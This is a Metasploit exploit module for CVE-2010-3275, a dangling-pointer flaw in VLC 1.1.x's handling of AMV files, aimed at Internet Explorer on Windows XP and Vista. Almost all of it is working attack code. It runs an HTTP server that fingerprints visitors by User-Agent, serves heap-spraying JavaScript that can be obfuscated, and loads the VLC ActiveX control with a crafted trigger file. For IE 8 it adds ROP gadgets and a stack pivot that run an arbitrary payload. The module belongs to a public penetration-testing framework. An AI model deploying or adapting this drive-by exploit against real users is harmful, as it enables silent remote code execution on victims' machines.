##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "VLC AMV Dangling Pointer Vulnerability",
        'Description' => %q{
          This module exploits VLC media player when handling a .AMV file. By flipping
          the 0x41st byte in the file format (video width/height), VLC crashes due to an
          invalid pointer, which allows remote attackers to gain arbitrary code execution.
          The vulnerable packages include: VLC 1.1.4, VLC 1.1.5, VLC 1.1.6, VLC 1.1.7. Also,
          please note that IE 8 targets require Java support in order to run properly.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sinn3r',
        ],
        'References' => [
          ['CVE', '2010-3275'],
          ['OSVDB', '71277'],
          ['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'],
          # Fix commit diff
          ['URL', 'http://web.archive.org/web/20130610070348/http://git.videolan.org/?p=vlc/vlc-1.1.git;a=commitdiff;h=fe44129dc6509b3347113ab0e1a0524af1e0dd11']
        ],
        'Payload' => {
          'BadChars' => "\x00",
          'space' => 1024,
          # Fix the stack before the decoder so we can decode properly
          # SUB SP, 0X100; POPAD; POPFD
          'PrependEncoder' => "\x66\x81\xec\x01\x01\x61",
          # Fix the stack again so the payload runs properly
          # ADD SP,0x61
          'Prepend' => "\x66\x83\xc4\x61",
        },
        'DefaultOptions' => {
          'EXITFUNC' => "process",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ],
          [ 'Internet Explorer 6 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
          [ 'Internet Explorer 7 on XP SP3', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ],
          [ 'Internet Explorer 8 on XP SP3', { 'Rop' => true, 'TargetAddr' => 0x77025024 } ],
          [ 'Internet Explorer 7 on Vista', { 'Rop' => false, 'TargetAddr' => 0x0c0c0c0c } ]
        ],
        'DisclosureDate' => '2011-03-23',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ]
    )
  end

  def get_target(cli, request)
    # Default target
    my_target = target

    vprint_status("User-Agent: #{request.headers['User-Agent']}")

    if target.name == 'Automatic'
      agent = request.headers['User-Agent']
      if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
        # Windows XP + IE 6
        my_target = targets[1]
      elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
        # Windows XP + 7.0
        my_target = targets[2]
      elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
        # Windows XP + IE 8.0
        my_target = targets[3]
      elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
        # Windows Vista + IE 7.0. Win Server 2008 is also NT 6.0
        my_target = targets[4]
      elsif agent =~ /^vlc/
        # VLC identifies itself as "VLC" when requesting our trigger file
        return 'VLC'
      elsif agent =~ /^NSPlayer/
        # NSPlayer is also used while requesting the trigger file
        return 'VLC'
      else
        # If we don't recognize the client, we don't fire the exploit
        my_target = nil
      end
    end

    return my_target
  end

  def exploit
    # Load trigger file
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2010-3275.amv")
    f = File.open(path, "rb")
    @trigger = f.read
    f.close

    # Set trigger file name
    @filename = rand_text_alpha(rand(6) + 3)

    super
  end

  def on_request_uri(cli, request)
    # Pick the right target
    my_target = get_target(cli, request)
    if my_target.nil?
      vprint_error("Target not supported")
      send_not_found(cli)
      return
    end

    vprint_status("URL: #{request.uri.to_s}")

    # Send the trigger file upon request
    if request.uri.match(/\.amv/)
      print_status("Sending trigger file")
      send_response(cli, @trigger, { 'Content-Type' => 'text/plain' })
      return
    end

    # ARCH used by the victim machine
    arch = Rex::Arch.endian(my_target.arch)

    # Generate our payload
    if my_target['Rop']
      # IE 8 targets
      code = generate_rop_payload('java', payload.encoded)

      # Align and 'jump' to our final payload at 0x0c0c0c0c
      ini_stage = [
        0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
        0x0c0c0c0c,  # Address of the payload
        0x7C348B05,  # XCHG EAX,ESP # RETN (MSVCR71.dll)
      ].pack('V*')

      # Add padding to line up the pivot correctly
      ini_stage << rand_text_alpha(128 - ini_stage.length)

      nops = Rex::Text.to_unescape(rand_text_alpha(4), arch)
      code = Rex::Text.to_unescape(code, arch)
      pivot = Rex::Text.to_unescape(ini_stage + [my_target['TargetAddr']].pack('V*'), arch)
    else
      # Non IE 8 targets
      nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
      code = Rex::Text.to_unescape(payload.encoded, arch)
      pivot = Rex::Text.to_unescape([my_target['TargetAddr']].pack('V*'), arch)
    end
    randnop = rand_text_alpha(rand(100) + 1)

    # First spray overwrites 0x0c0c0c0c with our payload
    spray_1 = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{code}");
    var #{randnop} = "#{nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x1000) nops += nops;
    var offset = nops.substring(0, 0x600-0x20);
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x20000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x10000-6)/2);

    heap_obj.gc();

    for (var i=0; i<0x1000; i++) {
      heap_obj.alloc(block);
    }
    JS

    # An invalid pointer gets passed on to libdirectx_plugin!vlc_entry_license__1_1_0g,
    # which requires us to fill up the memory as high as 0x303234ca
    spray_2 = <<-JS
    var padding = unescape(#{randnop});
    var pivot = unescape("#{pivot}");

    while (padding.length < 0x20000) padding += padding;
    var offset2 = padding.substring(0, 0x1ff);
    var p = offset2 + pivot + nops.substring(0, 0x800-pivot.length-offset2.length);

    while (p.length < 0x20000) p += p;
    var pivot_block = p.substring(0, (0x10000-6)/2);

    for (var i2=0; i2 < 0x2000; i2++) {
      heap_obj.alloc(pivot_block);
    }
    JS

    # Use heaplib
    js = heaplib(spray_1 + spray_2)

    # obfuscate on demand
    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    # Value for the 'Src' parameter of our ActiveX control
    trigger_file = get_resource() + "/" + @filename + ".amv"

    html = <<-EOS
    <html>
    <head>
    </head>
    <body>
    <script language='javascript'>
    #{js}
    </script>
    <object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
        codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
        width="0" height="0"
        events="True">
    <param name="Src" value="#{trigger_file}"></param>
    <param name="ShowDisplay" value="False" ></param>
    <param name="AutoLoop" value="no"></param>
    <param name="AutoPlay" value="yes"></param>
    </object>
    </body>
    </html>
    EOS

    # Remove extra tabs in HTML
    html = html.gsub(/^ {4}/, "")

    print_status("Sending #{self.name}")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end
